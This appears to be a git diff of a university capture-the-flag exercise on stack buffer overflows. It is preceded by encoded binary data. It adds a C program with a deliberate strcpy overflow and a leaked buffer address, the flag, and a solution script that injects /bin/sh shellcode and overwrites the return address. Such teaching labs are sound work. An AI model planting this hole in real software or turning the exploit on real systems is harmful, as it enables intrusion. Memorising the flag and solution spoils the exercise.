zk5T^>(Mne{#$!N1p;SnT3aOB3y;w)!{#Tb`LdzTu$^U&e{R8#y*8bJ3G~3aKpL5** z(eSSdL>1xZZx|XFT+#o$^LwSF%ma_)uW$MPRc&O28bI?kWhS;@6q+tJr6e{cKES$a zdRpqgy+~l1+KR*2l+T#Rbg$HOYO&EPX&ZFFj)3xZyWgWCUEy`}mHD$EB#EK<;dEgiN@k4UW+ z3w1$`T!H~J9^Tkdd6~b*V!2PQdY_*X*k^ha#hR4371dSXLmmd*7 z)ZLHvYKo&D4(ZsR&-!FT{kwX2UG!ic~AV_1jhx{@D1{fBVOi_v!CSe(m(lMG5-7TD zop5p=6#k8wLt~h7zr3Q0dTA$^tn@mT87sdxCb(KN-8!DXRb3B4V1=}Wa-(bBj#D*u=<1cb&~e zK|KyYn@+2_?}#LPp1FtPv4Br{9d3hbjt;L|fOdKfyWw%$;8{ zzI41Jto8%jnFPo5;&hnnHeC+}itVXCv1$wuZdJi{(T-3smZBWx(b7{bTF*JPI4_`? zmVD#{?6hhNXCHDtU~QCC_zb6Y*N@dVN#~0`?vVwb*TnsOM&r{3Ug@$f5?l%CPI6

FtR){0iuoM!piOc%Km@tS_v=55C7pP>PzO5yx7Bydg1US~|^Rgf0f4#PX#` zA1y+7fIDVJ5Jx@7npse5Yz8G-{^7A52(s- z5X)%^-FSg*`3J|>)h`_Ar{=xlt8v$@Q~N)S2GNI$cr* zFx8yTRh~_o17ZpHfTq?RmUl)=gY{BsuQ?`*e;jJUMBxLJbT#B4bpH_=e;9R;Ofs2R z$Hmy;`@)3^!{WD$>;!lc%57j*69vlo{g8+D+e+*(Ys!0}x$Dtr!`w#*@>^VNC%!s<1GafsWkNMJb zocz;3LL3Egs^<05aj@t;cg<$k5eT(R0c(xb)1JQ(n{O)KYqKk31>IH)92XD8gmB}e ze;d)uTfy-da%{)IVBtj^r$4XG;;hi^xGNap9R&sZ$H~|U{~PzmM`{Decl(zgG)~9m zR8*TUyBKYUkQqZ)^4VYbhhUb8qsW&E)Fm~QIWUWt40Kwf_UTrs2aZ}WS{dw3HH3C7 z&BE~gYoj(EnZ_dBM7Vr8Dx_Z#9V_{KT^KgmcjOB}(p1c=s@jo79x?Z4`*qUhm%Q)m zEtIem8%64-H70X9uZv9i&O|q#R|!!CJv82TiO&8s|M>Gf--Txxf7)+IlX3wtE(3%y z@LT#~l-=>PZ5+|vY`NYvH6&m^=LMG4*?d@meq6M2eoQ$hEJ7;eQ+*3-8p-IM6YWeq zi#%)oEtx7ieO=a1ck}J6vpV{C8`b2L&sU62=EF&q(6fwW?dWHEw|&Se0czAMxt}5! zrZZFU&<1%*V*}yJI{YPXCv%P}bMaqbKPV8i5!4iNI(5gV*fiOW_oPqDYW3t_PT&Wb z>1cr0lRp`Pjs*+{gSl9~T(Gv#7*an1fOm+GdmbPI*QD#by5GtGDbY|pcNA@u2|ZMU zyQiFQuG=OBcLp~*D$mIz(@F!ZrawL9TxM%{>W|KuGne|BTsk=aadguAi&2z6;T(kZ zA~-uq{1brw`M>~G^I$=7&gvEkp@^vZuhWjOk=u)`lZ0W5Zx*~{VbOV~6>w(wYMtiB za{J;38fIucIyEq$T=v_G0#V~9KC~#H=)%q*gGiMoHd&cKmK3I(t0Ct2bGud|A!8@j zcRaPyQRW?LeLMKIa^4KfV};=ADKr(bU`~t>@K1~T28@Q~Sa5z#%km5RF9-dMd2G-T z7*Zq$m*3&vhH9;YoTYcyk6d+UN|!qmskQ?Ri|BY?ly1Izpk1bQDfE7Y=l!n9fNbUB z_)Qb$1Bs|8=Qp*g3L|ik`vXPtgbaaN|4t(!N>fiy+0GsK|#8SHid{Rf&)Yn281d_ucv_sW)59X>O73Z zpNiNIM_uyFw8?H(uHZRW`Vev41Ggx!Ln|6m$_>N9SLna0O5NTPja@(H85!MI)N$Ef zg1zeVkF6Uk{~3iyi$SQc;Q7VQZ3fI^_U*LffIo}&G+bzoe~2r{1oz2vc?L?n2V=h& z4#Q`hlT?D|DRT+4w7;<`mGa0$nMZ`OF0Jv+$P!Q+zUZDNO8V zIIVKL8@Y_X$xc5jE>K6^CoD|Vs~Kid_%oS&u8|x;*i)EIhjk*f(sqsEZO;6%8W$o2 zch1_}dCc+2sDBRSzzP(y-D_3P2gy1E5orK)fEgIhf=@-8!&k?|GVjMq)O|vPsjmf9 z*Sw|}XO_yAi}1+dy(t7CuWIA+Y*;lVP^Wn*D;tuA6s9Bc^#R_83luCN5(_WokPpt+ zpwx-*M@ZHJx}}DbHA#hZeRQMYr0pO%efOU#CG@l)X3`!tLP4bPLC!{wB5XlJceGqH z(h5AmSaXSV4cCDYv(4lT{?)(*p+Q}txh$tV+*>|=N?u)xU zu#p80Ct8AKHA1LgN>wC^N>#N&1ym$jDR6`u6;*~-EvT(TOOP(DE1*z{h|Bi(o7u6~ zgsS}4O5GQ|d-LA=&6}Awv+>N`&fVR8J%K<#XbOptpf=kmL_1`ByYjRPLxe@EXciZV zGhm`m^CT*e>tG{?z)wKed=7LneK1RgSfEij$n*=eOAMvvE(9bmbM4Y^Kympw7|7oG zGo}zTS1FFd*9B(388Zkm3;!(qWZ9tWXAJTTbj>$ICu`sSH|*pb{F*O-kF5Q1_}dNS z$K?U|$lAXbeyFF>nXqu!`{4KXe>>VDvp$5_lt~Y6$|N^t(z)`OS<0JRl&=Xs=6>hy z1L8Ny@$3F@XX^g`<~7#@u6**HN5A*TR@M)LnMY!fhhwy{4kg=WeELYVGgl1>iPX84j(ZA}^4V2FY z*P+01trVz%oDDHo+k~}ik5#gh>6}$ArIMm#7l#VtA~lw_MWL9^*~7xJhQ<=sa5|UB zr0+~YWo6V!6m2V;Naw`PzFi%i))sTKxpkr3hQI^;Rx(vgjigI|KGUox5C^<)@Qga&95fZymrmZoZUcq`_q7&4NA=g9R z;z~XX)L(Sv`&TQyE~;b;a6wFR-j&-Zk-P~?JUDZ}pMeg%MTv#+E+rPiJS77E9`a1o ze~l9LPEev=jgkx7CqDyz2K)^88SpdUXTZ;Zp8-Dueg^*Q8F;7RqEq`TbM>_lHus0B z)lEW7Ra(%kdym;cXSVWO{q-X@9yB|CQs!rz@|aXYsw)I*+%)S9==Wcz5c8mg?{k{#z_5y>@~Dp8Wv>+|Tbq zrtjhBjv4#Hse5?nN1o0(aQKbNT+?2rtMP^Ew0)^KQk{N69(ilumGy5$eW3PxV^rqq z*3TTSK2vLc=2S57%1iItO;ZnSV91y4<(QKAUgu>5oVsxyF;z5`Uk0k}N52nM&p}+o znS7d^66McKRSX6=X0NQwg`LOSq13+lq2nM<(PzoQ)1oG0_=xQ9f!eJA96Ek3zC<{9 zEmm*%@L#4TT3TzH{^>Z=-=4>Kr|*3qpX;m0ti68odv5xsZ)dU&I(Ewj$qznBROR^q zMz`ag^6Qo7!q?wq-Kew8iDXKuQyW_N5U?ztmEWSBL)EWiu1YbtnS|_n%W-(ry#bQvx1*35$XDNXoEIS*|K>Pz zkQ0!racrD}OhUd5IR?oSJt=VKJ`tFx53CK>)!hd>PyRe+w<6x<1azIrGpT3;+i08p z5Rv+xNcftDv+cSuarOB-KD(u59qSE%9|DGD5+%Q@I0{=7lEl~(;AQCNWi)h0>hBG9 ztXP&mjvk<0n2v%kfd5ANd&2>-t8rPdEMg6z^28az9vEWBJAv+ndj@<1uqk3?tiDM2 zE1_7V@ym6wNK<85XT-=xT4IsbuE>V2NLzoz*coYxRU?hD=Of|R&m;A*;}NvWzBXa} zlZb_%StZfd3fpb40pgRN0Y3wN2K)^88SpdUXTZ;Zp8-Dueg^(OGl2J0A6v<@tl}`U zfCCd=iWM91^7$G_z5}}!l4mErZ_IaLdH$pR_Ya+XE8bt_S*r$#S64+Z+w5e z{!!rZ3n+Dg<8J-|=pR6`FQ1g;`|K__iVnxYH-igcFLkkFF4aZx&Ua_$)k&7Q zCxzq;sN5@Ejh=I&boDYZbE9--RS4#e6q4UcsN5@^GpOc7>6}TBn~#v31$>{dpmW9G z+`XVjq<&;UZ;<-zg02c&W2BIrc@zw4)K#K+7l0I!D?y0+45>m_-+XXwl0xnZtqNUn6`cR}~QSEc3T!#i1EGUS?aKtxz^oybM z*&@-;?@1V+Qy##R)B~ye8^8+BLU)HP@#9eS_yQQ;H|TeX?Ym1yTB!4RJH|#qfrW2| zlurLoP}J@5iR5=KIzIvA=OyU6J^D{T*ZJp@_z&Xo?2-avwYZXN%bm|4*24;P$iRH^ z|AJL;T(sWy~oe~jIh2-2IWxEF4_3P(i{?t*DWkNYYp+jMG2QJl6h++lOIfE ztfZYUmaIg1Obq3-g-ps$CC$sWZQ1(qAYS@NTZv*ZF>a-Dc5z$`7Zcf(l`Lno+iO@cXwI1^Rcu>QdnKr?T+>D>RjrP*Gyo- zEgY-6*NxEIwNF?(`}TCi`m8-YJ^Q-{tbtfZUpJ%5%PB*pvh4eRxP&sceVaLwvaQ09 zWsjC~x0-`v?xmM#R9|YrMHcIHTtQf=WWr7eJw7YTTP>#nlVh-Yug@$7=4}~u+h)Y$-s3s#md?_O3t8f{32V4ujoyLg21_NkX?d~7 zvT$oh&lj)reEc09voxNy6NAFUaFiU?C0rm%6$`@5F6z-FVrfmqP^(+j&}Fog$fglYRY(4Wi6<+Ir^S6l zKat=*jQ}?mSmkNx8g>T6))I>6k& zk`0uJ;|@dPzJoIRD(iD#;1&o?#F4%Q);R91$Z_dWA5dk?M?APm7|HZ$VwwCSu#R^G z267ZOO&Z6&fyT|kNWPAPcZoRC&%heTzrAF4Cnf!Q990)5Ll{uN?GTzY?iVmH9&y}j zkOxrKq;apppmFyZY9Dw74K8Wi>(IFm!*r>8tftDB3zNAc_DwK%q{MMg^y0t4or0fp zMjZD_y#LCMaJ`Tii|c@ElHHLw?2%^iLU0>&O~gqCNaN&00Hk)}3P}uUIY6{C9{=Xo z1E+m3$rzLkZam! +#include +#include + +// vulnerable function +int overflow_me(char* input) +{ + char buff[100]; + printf("Buffer is at %p\n", &buff); // buff's address is leaked :O + strcpy(buff, input); + + return 1; +} + +int main(int argc, char *argv[]) +{ + if(argc < 2) + { + printf("Syntax: %s \n", argv[0]); + exit (0); + } + overflow_me(argv[1]); + return 0; +} diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/flag b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag new file mode 100644 index 0000000..9007b49 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag @@ -0,0 +1 @@ +flag{THAT_WAS_EASY_HUH} \ No newline at end of file diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh new file mode 100755 index 0000000..6c47ae7 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# flag{THAT_WAS_EASY_HUH} + +######### Exploit ######### +# Step 1: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + +# Step 2: Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..91} + +# Step 3: Overwrite the stored EIP with the address of the shellcode +printf "\x2c\xd5\xff\xff" +###########################